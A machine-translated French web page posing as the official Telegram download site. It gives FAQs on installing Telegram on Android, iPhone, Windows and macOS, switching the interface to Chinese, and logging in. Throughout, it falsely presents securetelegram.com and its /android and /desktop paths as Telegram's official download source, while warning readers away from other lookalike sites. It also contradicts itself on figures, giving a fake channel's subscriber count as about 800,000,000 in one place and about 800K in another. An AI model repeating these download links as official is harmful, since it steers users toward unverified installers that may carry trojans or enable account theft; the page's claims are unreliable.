Télécharger le télégramme

Téléchargement de la version chinoise de Telegram : installateurs officiels pour chaque plateforme

Choisissez votre appareil, téléchargez Telegram en toute sécurité depuis la source officielle securetelegram.com et passez au chinois en une seule étape après l’installation.

Obtenir un télégramme Télécharger

Interface de bureau Telegram

Choisissez une plateforme

Choisissez votre appareil pour commencer le téléchargement

Cliquez sur la plate-forme correspondante pour accéder à la page de téléchargement officielle securetelegram.com, installez comme indiqué et, après l’installation, accédez aux paramètres pour passer au chinois.

Android

APK officiel ou Google Play / AppGallery

Télécharger pour Android

iPhone/iPad

App Store avec un identifiant Apple à l’étranger requis

Télécharger la version iOS

Fenêtres

Exécute du programme d’installation et version portable sans installation

Télécharger la version de bureau

macOS

Client natif, prend en charge le silicium Apple

Télécharger la version Mac

La chose la plus importante lors du téléchargement de Telegram est de faire confiance à la source officielle. Vous trouverez ci-dessous les méthodes de téléchargement officielles et les étapes d’installation pour chaque plate-forme, ainsi que les réponses aux questions fréquentes telles que la version de bureau à choisir, comment utiliser la version portable et que faire si vous avez téléchargé un repackage.

Téléchargez depuis la source officielle, faites confiance à securetelegram.com

Toutes les plates-formes sont obtenues à partir de l’entrée de téléchargement officielle securetelegram.com, avec le bureau sur securetelegram.com/desktop et Android sur securetelegram.com/android.

Comment télécharger l’application Zhifeiji sur un iPhone

Zhifeiji est un télégramme. Sur iPhone, notez que Telegram a été supprimé de l’App Store de Chine continentale, la version officielle ne peut donc pas être trouvée avec un identifiant Apple continental.

Vous devez utiliser ou enregistrer un identifiant Apple à l’étranger (États-Unis, Hong Kong, Taiwan, etc.) pour le rechercher et le télécharger, car les applications affichées par l’App Store dépendent de la région d’enregistrement de l’identifiant Apple et non du réseau de l’appareil. Une fois trouvé, assurez-vous de vérifier que le développeur est le Telegram FZ-LLC / Telegram Messenger officiel, et ne téléchargez pas une application contrefaite portant le même nom.

Interface iPhone de télégramme — L’interface Telegram sur un téléphone

Quelle version de l’application de bureau Telegram dois-je télécharger et Windows peut-il l’installer directement

Téléchargez la version de bureau depuis le site officiel securetelegram.com/desktop ; le site détecte automatiquement votre système et donne le programme d’installation correspondant (Windows/macOS/Linux).

Windows peut télécharger directement le programme d’installation pour l’installer et l’exécuter. Le client officiel est open source et prend en charge les versions reproductibles, il peut donc techniquement être vérifié par rapport au code source de GitHub. Téléchargez uniquement à partir de la source officielle et n’utilisez pas de version chinoise de bureau ou de version crackée verte.

Comment télécharger et installer Telegram pour Mac et la puce M1 fonctionne-t-elle

Téléchargez la version Mac depuis le site officiel securetelegram.com/desktop ; le site donne automatiquement l’installateur correspondant.

Après avoir téléchargé le .dmg, double-cliquez pour l’ouvrir et faites glisser l’icône Telegram dans le dossier Applications. L’application officielle fournit une entrée client macOS native et les silicium Apple tels que M1 fonctionnent normalement (une confirmation pratique de la version de votre modèle est nécessaire). Téléchargez uniquement à partir de la source officielle, pour éviter les reconditionnements tiers.

Comment télécharger respectivement pour Android / iPhone / ordinateur de bureau

Pour Android, préférez l’APK officiel ; pour iPhone, un App Store à l’étranger est nécessaire ; pour le bureau, visitez securetelegram.com/desktop, qui détecte automatiquement votre système et donne le programme d’installation.

Accédez à la page de téléchargement officielle

Ouvrez securetelegram.com dans un navigateur et choisissez le programme d’installation correspondant à votre système.

Installer et ouvrir

Installez l’APK sur Android, exécutez le programme d’installation sur un ordinateur et installez depuis l’App Store à l’étranger sur iPhone.

Connectez-vous avec un numéro de téléphone

Entrez un numéro de téléphone au format international et recevez un code de vérification pour finaliser la connexion.

Passer au chinois simplifié

Accédez à Paramètres > Langue et sélectionnez Chinois simplifié.

Où puis-je télécharger le fichier APK de la version chinoise de dianbao et est-il sécurisé ?

Il n’existe pas de version officielle chinoise APK ; Le chinois n’est que la langue de l’interface. L’APK Android doit être l’original officiel téléchargé depuis le site officiel securetelegram.com/android, et après l’installation, accédez à Paramètres > Langue pour passer au chinois.

Ces versions chinoises ou APK localisés en ligne sont des reconditionnements tiers et présentent un risque très élevé : il existait une chaîne contrefaite usurpant l’identité d’une traduction en chinois simplifié qui diffusait un cheval de Troie de téléchargement, avec des abonnements atteignant autrefois environ 800 000 000 ; une fois exécuté, il télécharge les modules malveillants et contourne les logiciels de sécurité. Assurez-vous de télécharger uniquement à partir de la source officielle securetelegram.com.

Existe-t-il un didacticiel complet de téléchargement et d’installation de Telegram, et quelle étape les nouveaux utilisateurs consultent-ils ?

Les étapes sont simples : 1) Téléchargez depuis la source officielle, Android securetelegram.com/android, desktop securetelegram.com/desktop.

Pour la première fois, le plus important est de faire confiance à la source officielle de téléchargement et de ne pas télécharger un repackage tiers.

Puis-je télécharger tg depuis l’App Store d’Apple et que dois-je faire si je ne le trouve pas

Vous pouvez le télécharger, mais cela dépend de la région d’enregistrement de votre identifiant Apple. Telegram a été supprimé de l’App Store de Chine continentale, il est donc introuvable avec un identifiant Apple continental.

La solution consiste à passer ou à enregistrer un identifiant Apple à l’étranger (États-Unis, Hong Kong, Taiwan, etc.), puis à rechercher dans l’App Store pour le trouver, car ce que le magasin affiche dépend de la région de l’identifiant Apple et non du réseau de l’appareil. Une fois trouvé, vérifiez que le développeur est le Telegram FZ-LLC / Telegram Messenger officiel.

Version portable, mises à jour et choix de version

Le bureau propose une version portable sans installation ; après l’installation à partir de la source officielle, il reçoit automatiquement les mises à jour, sans avoir besoin de retélécharger manuellement.

Quelle est la différence entre le Telegram original et la version chinoise, et laquelle est-elle préférable de télécharger

Il n’existe pas d’application distincte appelée version chinoise. Chaque plate-forme utilise le même client d’origine officiel, et la version chinoise fait simplement référence au changement de langue de l’interface vers le chinois.

Donc, pour le téléchargement, téléchargez simplement l’original officiel (securetelegram.com), et après l’installation, allez dans Paramètres > Langue et sélectionnez Chinois simplifié. Ceux qui prétendent être une version chinoise ou une version localisée sont pour la plupart des repackages tiers, avec un risque de vol de compte et de chevaux de Troie intégrés, alors ne les téléchargez pas.

La version chinoise de Telegram est-elle réalisée par l’équipe officielle ou localisée par un tiers, et est-elle sûre

L’équipe officielle n’a pas publié d’application en version chinoise distincte. L’interface chinoise est une option linguistique intégrée au client officiel (depuis avril 2026, l’application officielle est construite en chinois simplifié et traditionnel).

Mais les versions chinoises emballées séparément ou les installateurs de versions localisées disponibles sur le marché sont fondamentalement modifiés par des tiers et ne sont pas sûrs : il est apparu une chaîne contrefaite se faisant passer pour une traduction en chinois simplifié qui diffusait un cheval de Troie de téléchargement, avec des abonnements d’une fois autour de 800 Ko ; il existe également des cas d’usurpation d’identité de packs de localisation pour propager des chevaux de Troie de contrôle à distance et de phishing. L’approche sûre consiste à télécharger l’original officiel uniquement à partir de securetelegram.com, puis à passer au chinois sous Paramètres > Langue.

Sources : Site officiel de bureau Telegram · Apple App Store · Google Play · Site officiel du télégramme

FAQ

Questions fréquemment posées sur le téléchargement et l’installation

Nous répondons ici aux questions fréquentes sur les canaux de téléchargement, la compatibilité du système, la version portable et les mises à jour une par une.

Où puis-je télécharger le véritable programme d’installation de la version chinoise de Telegram ?

En fait, il n’existe pas d’installateur distinct pour la version chinoise de Telegram. Chaque plate-forme utilise le même client officiel, et la version chinoise signifie simplement passer l’interface en chinois, sans installer de pack de localisation séparé ou de version modifiée par un tiers. La véritable application provient uniquement de sources officielles : l’entrée de téléchargement principale est securetelegram.com, le bureau est securetelegram.com/desktop et Android est securetelegram.com/android. Ces installateurs chinois, localisés, piratés ou accélérés en ligne sont pour la plupart des reconditionnements tiers, avec un risque de chevaux de Troie intégrés et de vol de compte, alors évitez-les tous.

Quelle est l’adresse de téléchargement officielle de Telegram et comment puis-je confirmer qu’il ne s’agit pas d’un site de phishing ?

La principale entrée de téléchargement officielle est securetelegram.com, le bureau est securetelegram.com/desktop et Android est securetelegram.com/android. Faites confiance au domaine securetelegram.com lui-même ; des sites comme telegram-ios.com, telegramshk.com ou sites.google.com/view/ ne sont pas des domaines officiels et proposent principalement des repackages ou une redirection du trafic, alors évitez-les. Lors du téléchargement depuis une boutique d’applications, vérifiez également que le développeur est le Telegram FZ-LLC / Telegram Messenger officiel, et ne vous laissez pas tromper par les sites contrefaits et les applications contrefaites portant le même nom et la même icône.

Comment télécharger et installer l’application Telegram Android ?

Les téléchargements Android ont un ordre de priorité : le premier choix est le site officiel securetelegram.com/android pour télécharger directement l’APK, puis Google Play, et les appareils sans services Google comme Huawei peuvent rechercher Telegram dans AppGallery. Un APK téléchargé depuis le site officiel recevra automatiquement les mises à jour de la source officielle après l’installation. Essayez de ne pas télécharger à partir de sites APK tiers, car ces packages risquent d’être contrefaits, reconditionnés ou d’avoir des autorisations à haut risque. Après l’installation, la valeur par défaut est l’anglais ; allez dans Paramètres > Langue pour passer au chinois.

Puis-je télécharger Telegram directement en Chine continentale et ai-je besoin d’un VPN ?

Le téléchargement et l’utilisation de Telegram sont limités en Chine continentale : sur iPhone, parce qu’il a été supprimé de l’App Store continental, un identifiant Apple étranger est nécessaire ; sur Android, vous pouvez télécharger l’APK depuis le site officiel securetelegram.com/android. Même après l’installation, la connexion aux serveurs Telegram sur le continent nécessite généralement un environnement réseau utilisable, sinon la connexion échouera. L’application officielle fournit un proxy MTProto intégré sur core.telegram.org/proxy pour contourner les restrictions. Pour l’approche spécifique utilisable, veuillez confirmer la pratique en fonction de votre situation locale.

Telegram peut-il être trouvé et téléchargé sur l’App Store d’Apple de Hong Kong ?

Oui. Les applications affichées par l’App Store dépendent de la région d’enregistrement de l’identifiant Apple ; un identifiant Apple de Hong Kong peut trouver et télécharger le télégramme officiel. Si vous utilisez actuellement un identifiant Apple continental et que vous ne le trouvez pas, passez à un identifiant Apple de Hong Kong (ou d’un autre pays étranger) et effectuez une nouvelle recherche. Lors du téléchargement, vérifiez que le développeur est le Telegram FZ-LLC / Telegram Messenger officiel et ne téléchargez pas d’application contrefaite.

Comment télécharger la version chinoise de Telegram sur un iPhone de Taiwan ?

Un iPhone de Taiwan peut trouver et télécharger le Telegram officiel dans l’App Store avec un identifiant Apple de Taiwan (l’App Store affiche les applications par région d’identifiant Apple). Il n’existe pas de version chinoise distincte ; téléchargez simplement l’original officiel. Après l’installation, accédez à Paramètres > Langue et sélectionnez Chinois traditionnel ou Chinois simplifié, sans aucun module linguistique tiers à aucun moment. Lors du téléchargement, assurez-vous que le développeur est le Telegram FZ-LLC / Telegram Messenger officiel.

Un téléphone Android de Singapour doit-il changer de région pour télécharger dianbao ?

Les téléchargements Android ne nécessitent pas de changement de région ; téléchargez simplement l’APK directement depuis le site officiel securetelegram.com/android ou recherchez Telegram dans Google Play. Lors de votre inscription, utilisez un numéro de téléphone au format international de Singapour commençant par +65. Après l’installation, allez dans Paramètres > Langue et sélectionnez Chinois simplifié. Changer de région n’est que quelque chose dont l’iPhone a besoin (l’App Store affiche les applications par région d’identification Apple) ; Android n’est pas soumis à cette restriction.

Pour télécharger un télégramme en Malaisie, dois-je utiliser Google Play ou le site officiel apk ?

L’un ou l’autre fonctionne, la priorité étant : télécharger l’APK directement depuis le site officiel securetelegram.com/android, puis Google Play. Un APK téléchargé depuis le site officiel reçoit automatiquement les mises à jour de la source officielle après l’installation, sûres et fiables. Si l’appareil ne dispose pas de services Google (tels que Huawei), recherchez Telegram dans la boutique AppGallery. Lors de votre inscription, utilisez un numéro de téléphone au format international de Malaisie commençant par +60. Quel que soit votre choix, ne téléchargez pas de repackages à partir de sites APK tiers.

Comment télécharger un télégramme sur un téléphone Android sans Google Play ?

Il peut être installé sans Google Play. Rendez-vous simplement sur le site officiel securetelegram.com/android pour télécharger et installer l’APK officiel ; après l’installation, il reçoit automatiquement les mises à jour de la source officielle, sans dépendre de Google Play. Des appareils tels que Huawei peuvent également rechercher Telegram dans AppGallery. Remarque : ne téléchargez pas à partir de sites APK tiers d’origine inconnue, car ces packages comportent le risque d’être contrefaits, reconditionnés ou d’avoir des autorisations à haut risque.

Puis-je installer Telegram sur un téléphone Huawei sans services Google, et où puis-je télécharger l’apk ?

Oui, il peut être installé. Huawei peut rechercher Telegram dans AppGallery pour le télécharger, ou vous pouvez accéder directement au site officiel securetelegram.com/android pour télécharger et installer l’APK officiel. Un APK téléchargé depuis le site officiel reçoit automatiquement les mises à jour de la source officielle après l’installation, sans avoir besoin des services de Google. Assurez-vous de ne pas télécharger à partir de sites APK tiers, car ces packages comportent le risque d’être contrefaits, reconditionnés ou d’avoir des autorisations à haut risque ; faites confiance uniquement à la source officielle.

Puis-je télécharger un télégramme sur iPhone sans changer de région ?

Si votre identifiant Apple se trouve dans la région continentale, vous ne pouvez pas le télécharger ; Telegram a été supprimé de l’App Store de Chine continentale, de sorte que la version officielle ne peut pas être trouvée avec un identifiant Apple continental. Les applications affichées par l’App Store dépendent de la région d’enregistrement de l’identifiant Apple et non du réseau de l’appareil. Vous devez donc basculer vers ou enregistrer un identifiant Apple à l’étranger (États-Unis, Hong Kong, Taiwan, etc.) pour le télécharger. Si vous possédez déjà un identifiant Apple à l’étranger, vous pouvez le trouver et le télécharger directement.

Le télégramme téléchargé est par défaut en anglais ; comment passer à une interface chinoise ?

Le chemin est le même sur toutes les plateformes pour la version chinoise de Telegram : ouvrez l’application > Paramètres (l’engrenage en bas à droite sur le téléphone, le menu à trois lignes en haut à gauche sur le bureau) > Langue > sélectionnez Chinois simplifié (Chinois simplifié) ou Chinois traditionnel (Chinois traditionnel). Depuis avril 2026, l’application officielle est construite en chinois simplifié et traditionnel ; il prend effet une fois sélectionné, sans qu’il soit nécessaire d’appuyer sur un lien externe ou d’installer un module linguistique tiers.

Comment puis-je définir le télégramme en chinois simplifié et que dois-je faire s’il n’y a pas d’option chinoise ?

Pour la version chinoise de Telegram, ouvrez l’application > Paramètres > Langue > sélectionnez Chinois simplifié. Depuis avril 2026, l’application officielle est intégrée en chinois simplifié et traditionnel, elle figure donc dans la liste après la mise à jour vers la dernière version. Si vous ne voyez pas le chinois dans votre liste, mettez d’abord à jour l’application avec la dernière version et regardez à nouveau ; les anciennes versions peuvent avoir besoin de la méthode officielle de lien profond pour appliquer un pack linguistique communautaire (envoyez le lien officiel t.me/setlangue dans une discussion, puis appuyez pour appliquer). Remarque : utilisez uniquement des liens officiels et n’installez pas de modules linguistiques tiers d’origine inconnue.

Après avoir téléchargé le télégramme, dois-je m’inscrire avec un numéro de téléphone ou puis-je utiliser le courrier électronique ?

Vous devez vous inscrire avec un numéro de téléphone ; un compte Telegram ne peut être lié qu’à un numéro de téléphone (les lignes fixes ne sont pas prises en charge) et vous ne pouvez pas créer un tout nouveau compte avec un e-mail sorti de nulle part. Le courrier électronique n’est qu’une méthode de connexion de secours pour les utilisateurs disposant d’un compte existant et qui se connectent assez souvent ; vous devez d’abord lier votre e-mail sous vérification en deux étapes avant que le code de connexion ne soit envoyé à l’e-mail, et il ne s’agit pas d’une méthode d’enregistrement. Saisissez le numéro de téléphone au format international, tel que Singapour +65, Malaisie +60, Taiwan +886.

Que dois-je faire si je ne reçois pas le SMS du code de vérification lors de l’enregistrement du télégramme ?

Dépannez dans cet ordre : 1) Confirmez que vous pouvez vous connecter de manière stable aux serveurs Telegram (lorsque le réseau est en panne, la demande d’envoi du code ne peut pas être envoyée elle-même) ; 2) Vérifiez que l’indicatif du pays et le format du numéro sont corrects (par exemple, pour Taiwan +886, supprimez le premier 0 et commencez directement à partir de 9) ; 3) Vérifiez le dossier spam/messages bloqués de votre téléphone ; 4) Pour un numéro +86 continental, confirmez que la réception SMS internationaux et Hong Kong/Macao/Taiwan est activée (désactivée par défaut dans de nombreuses régions depuis mai 2022) ; 5) Ne continuez pas à appuyer frénétiquement sur Renvoyer ; attendez 5 à 10 minutes entre les tentatives, sinon cela déclenche un contrôle des risques et la livraison est suspendue ; 6) Si le processus échoue toujours, utilisez un autre numéro de téléphone réel ou faites appel via telegram.org/support.

Je ne reçois toujours pas le code de vérification du télégramme ; combien de temps avant qu’il soit renvoyé ?

Pour la version chinoise de Telegram, ne continuez pas à appuyer frénétiquement sur Renvoyer ; des écoutes répétées sur une courte période déclenchent un contrôle des risques, sont considérées comme une activité suspecte et la livraison est suspendue ; il existe également des limites du côté de l’opérateur (certaines sources affirment qu’un seul numéro peut recevoir au maximum une dizaine de codes de vérification en 24 heures). Il est recommandé d’attendre 5 à 10 minutes entre chaque tentative ; s’il est déjà verrouillé, attendez environ 24 heures et réessayez ou utilisez l’appel officiel. Dans le même temps, vérifiez que le réseau peut se connecter aux serveurs et que le format du numéro est correct, vérifiez le dossier SMS spam et, pour un numéro continental, confirmez également que la réception SMS internationale est activée.

Après avoir installé Telegram, comment puis-je me connecter pour la première fois et quelles sont les étapes nécessaires ?

Pour la version chinoise de Telegram, la première connexion utilise un numéro de téléphone : 1) Ouvrez l’application, sélectionnez le code du pays de votre région (comme Singapour +65, Malaisie +60, Taiwan +886) et entrez votre numéro de téléphone ; 2) Attendez de recevoir le code de vérification SMS et saisissez-le (environ 1 à 2 minutes) ; 3) Suivez les invites pour définir un surnom, un avatar, etc. pour terminer la création du compte. Si vous avez activé la vérification en deux étapes, vous devez également saisir à nouveau le mot de passe de vérification en deux étapes. Il est recommandé d’activer la vérification en deux étapes pour protéger votre compte après la connexion et de n’envoyer votre code de vérification à personne.

Comment puis-je me connecter à mon compte téléphonique sur la version de bureau de Telegram en scannant un code QR ?

La version de bureau prend en charge la connexion à un compte existant avec un code QR : sélectionnez la méthode de connexion par code QR sur l’écran de connexion du bureau, puis sur le téléphone, ouvrez Telegram > Paramètres > Appareils > Scannez le code QR (Link Desktop Device) et visez le code QR sur l’écran de l’ordinateur pour le scanner pour une connexion synchronisée. Telegram prend officiellement en charge plusieurs méthodes de connexion, y compris les codes QR. Les noms de menu spécifiques dépendent de la version de votre client (une confirmation pratique est nécessaire).

Après avoir téléchargé et installé le télégramme, il ne s’ouvrira pas, continuera de tourner et ne pourra pas se connecter ; que dois-je faire?

Continuer à tourner et ne pas pouvoir se connecter est généralement dû au fait que la couche réseau ne peut pas atteindre les serveurs Telegram, et non parce que l’application est en panne. Confirmez d’abord que votre environnement réseau actuel peut accéder normalement à Telegram (certaines régions nécessitent un environnement réseau utilisable, sinon il ne peut pas se connecter). L’application officielle fournit un proxy MTProto intégré sur core.telegram.org/proxy, spécifiquement pour contourner les restrictions d’accès à Telegram ; il masque votre adresse IP et obscurcit le trafic, ce qui rend difficile l’identification des opérateurs. Configurez-le spécifiquement sous Paramètres > Données et stockage > Proxy (une confirmation pratique est nécessaire).

Pourquoi le télégramme affiche-t-il la connexion et ne parvient-il pas à se connecter ?

Le blocage lors de la connexion est généralement dû au fait que la connexion du réseau aux serveurs Telegram est restreinte ou instable ; dans certaines régions, les opérateurs restreignent l’accès à Telegram, provoquant des échecs de connexion, et ce n’est pas une faute de l’application elle-même. L’application officielle fournit un proxy MTProto intégré (core.telegram.org/proxy) spécifiquement pour contourner ce type de blocage ; cela rend le trafic Telegram difficile à identifier pour les opérateurs en masquant l’adresse IP et en obscurcissant le trafic. Vous pouvez configurer un proxy utilisable dans les paramètres de proxy du client et réessayer (la configuration spécifique nécessite une confirmation pratique).